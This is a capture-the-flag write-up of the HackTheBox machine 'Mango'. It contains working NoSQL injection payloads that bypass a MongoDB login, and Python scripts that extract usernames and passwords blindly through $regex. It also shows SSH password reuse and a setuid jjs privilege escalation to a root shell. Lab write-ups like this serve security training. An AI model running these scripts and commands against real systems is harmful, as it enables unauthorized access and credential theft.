# Mango Writeup - HackTheBox

> Linux box exploiting NoSQL injection to bypass MongoDB login, SSH with harvested credentials, then privilege escalation via SUID jjs binary.

- **URL:** https://hackindex.io/writeups/mango
- **Platform:** HackTheBox
- **Difficulty:** Medium
- **Operating system:** Linux
- **Machine:** https://app.hackthebox.com/machines/mango?sort_by=created_at&sort_type=desc
- **Tags:** sql-injection, nosql-injection, ssh, mongodb, privilege-escalation, suid, gtfobins
- **Authors:** [Mohammad Meraj](https://hackindex.io/authors/mohammad-meraj.md)
- **Published:** 2026-08-17
- **Updated:** 2026-08-17

Mango is a Linux box running a MongoDB backed login form. The chain runs: a TLS certificate that reveals the real virtual host, a NoSQL injection that authenticates without a password, blind extraction of both usernames and passwords through the `$regex` operator, password reuse straight into SSH, and a setuid `jjs` binary that runs arbitrary Java as root.

## Reconnaissance

### Port scan

```bash
rustscan -a $TARGET_IP
# Open $TARGET_IP:22
# Open $TARGET_IP:80
# Open $TARGET_IP:443
```

```bash
nmap -sCV -T4 -p22,80,443 $TARGET_IP -oA nmap/nmap
# PORT    STATE SERVICE   VERSION
# 22/tcp  open  ssh       OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
# 80/tcp  open  http      Apache httpd 2.4.29
# |_http-title: 403 Forbidden
# 443/tcp open  ssl/https Apache/2.4.29 (Ubuntu)
# |_http-title: 400 Bad Request
# | ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd.
# | Not valid before: 2019-09-27T14:21:19
# |_Not valid after:  2020-09-26T14:21:19
```

Both web ports refuse the raw address, 403 on 80 and 400 on 443, which means Apache only serves content for a hostname it recognises. The certificate names that hostname: `staging-order.mango.htb`. Adding it to `/etc/hosts` makes port 80 serve a login form.

## Vulnerability Discovery

### Not SQL

Standard SQL injection payloads produce no errors and no bypass, which is itself informative. A staging order application on this stack is as likely to be MongoDB behind PHP, and PHP parses bracketed field names such as `password[$ne]` into an array. If the backend hands that array to the query unchecked, MongoDB reads it as the `$ne` operator, so the check becomes not equal rather than equal.

```http
username=admin&password[$ne]=invalid&login=login
```

```bash
curl -I http://staging-order.mango.htb/home.php
# HTTP/1.1 302 Found
# Server: Apache/2.4.29 (Ubuntu)
# Set-Cookie: PHPSESSID=5jpjiqo9c8ndatsejc6j88ksgl; path=/
# location: index.php
```

A 302 instead of a bounce back to the login page means the query matched, so authentication is bypassed as long as the username exists. That boolean difference between 302 and not is also an oracle, and `$regex` turns it into a way to read data out one character at a time.

## Exploitation

### Recovering usernames

```python
#!/usr/bin/env python3
import requests, string

URL = "http://staging-order.mango.htb/"
CHARSET = string.ascii_letters + string.digits + "_@.-"
session = requests.Session()

def test_regex(regex):
    data = {"username[$regex]": regex, "password[$ne]": "invalid", "login": "login"}
    r = session.post(URL, data=data, allow_redirects=False, timeout=10)
    return r.status_code == 302

username = ""
while True:
    for char in CHARSET:
        if test_regex("^" + username + char):
            username += char
            print(f"[+] {username}")
            break
    else:
        break
```

```bash
python3 userenum.py
# [+] a
# [+] ad
# [+] adm
# [+] admi
# [+] admin
```

Rerunning with a pattern that excludes names starting with `a` finds a second account, `mango`. Two usernames is enough to move on to their passwords.

### Why the naive extraction breaks

The same prefix technique aimed at the password field starts fine and then drifts into nonsense. The reason is that candidate characters are being pasted into a regular expression unescaped, so metacharacters like `*`, `.`, `+`, `[` and `$` match by accident rather than literally. Every one of those produces a false positive.

Two changes fix it. Escape each candidate with `re.escape()`, and first fingerprint which characters appear anywhere in the password so the positional pass only tries a handful per position.

```python
#!/usr/bin/env python3
import requests, string, re

URL = "http://staging-order.mango.htb/"
USERS = ["admin", "mango"]
CHARSET = string.ascii_letters + string.digits + string.punctuation
session = requests.Session()

def contains_char(username, char):
    regex = "^.*" + re.escape(char) + ".*$"
    data = {"username": username, "password[$regex]": regex, "login": "login"}
    r = session.post(URL, data=data, allow_redirects=False, timeout=10)
    return r.status_code == 302

for username in USERS:
    valid = [c for c in CHARSET if contains_char(username, c)]
    print(username, "".join(valid))
```

```bash
python3 pass-char.py
# admin ctBKS0239!#>
# mango fhmHKRUX358]{~
```

Twelve and fourteen candidates respectively, instead of the full printable range. The positional pass then anchors `^` plus the escaped prefix recovered so far.

```python
def recover(username, charset, password=""):
    while True:
        for char in charset:
            candidate = password + char
            data = {"username": username, "password[$regex]": "^" + re.escape(candidate), "login": "login"}
            r = session.post(URL, data=data, allow_redirects=False, timeout=10)
            if r.status_code == 302:
                password = candidate
                print(f"[+] {password}")
                break
        else:
            return password
```

```bash
python3 pass.py
# [*] Recovering: admin
# <snip>
# [+] Final candidate for admin: $ADMINS_PASSWORD
# [*] Recovering: mango
# <snip>
# [+] Final candidate for mango: $MANGOS_PASSWORD
```

Both passwords recovered through nothing but redirect status codes. This is blind injection in the same shape as the SQL version, aimed at MongoDB operators instead of SQL syntax.

### Reusing them on SSH

```bash
ssh mango@$TARGET_IP
# mango@mango:~$ whoami
# mango
```

The web password is also the system password. The `admin` credentials work the same way from inside that session.

```bash
su admin
# Password:
# $ whoami
# admin
```

## Privilege Escalation

### SUID binaries

```bash
find / -type f -perm -4000 -exec ls -l {} \; 2>/dev/null
# -rwsr-xr-x 1 root root 22520 Mar 27  2019 /usr/bin/pkexec
# -rwsr-xr-- 1 root messagebus 42992 Jun 10  2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
# -rwsr-xr-x 1 root root 100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
# -rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
# -rwsr-xr-x 1 root root 436552 Mar  4  2019 /usr/lib/openssh/ssh-keysign
# <snip>
```

`jjs` is the Java shell from the JDK and has no business being setuid. It is group owned by `admin`, which is exactly the account just obtained, and it executes arbitrary Java, so anything it spawns inherits root as the effective user. GTFOBins documents this exact case.

Staging a copy of bash first gives the escalation something to mark setuid.

```bash
cp /bin/bash /tmp/rootbash
```

```bash
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
# jjs> var R = Java.type("java.lang.Runtime");
# jjs> var r = R.getRuntime();
# jjs> r.exec(["/bin/chmod", "4755", "/tmp/rootbash"]).waitFor();
# 0
# jjs> exit()
```

The `chmod` runs as root, so the staged binary keeps its root ownership and gains the setuid bit. Bash drops elevated privileges on startup unless told not to, which is what `-p` is for.

```bash
/tmp/rootbash -p
# rootbash-4.4# whoami
# root
```

Root shell. User and root are both covered.

Related

## References

- [MongoDB $regex operator](https://www.mongodb.com/docs/manual/reference/operator/query/regex/) - The operator abused for the blind character by character extraction.
- [GTFOBins: jjs](https://gtfobins.github.io/gtfobins/jjs/) - Documents the setuid abuse path used for the root shell.
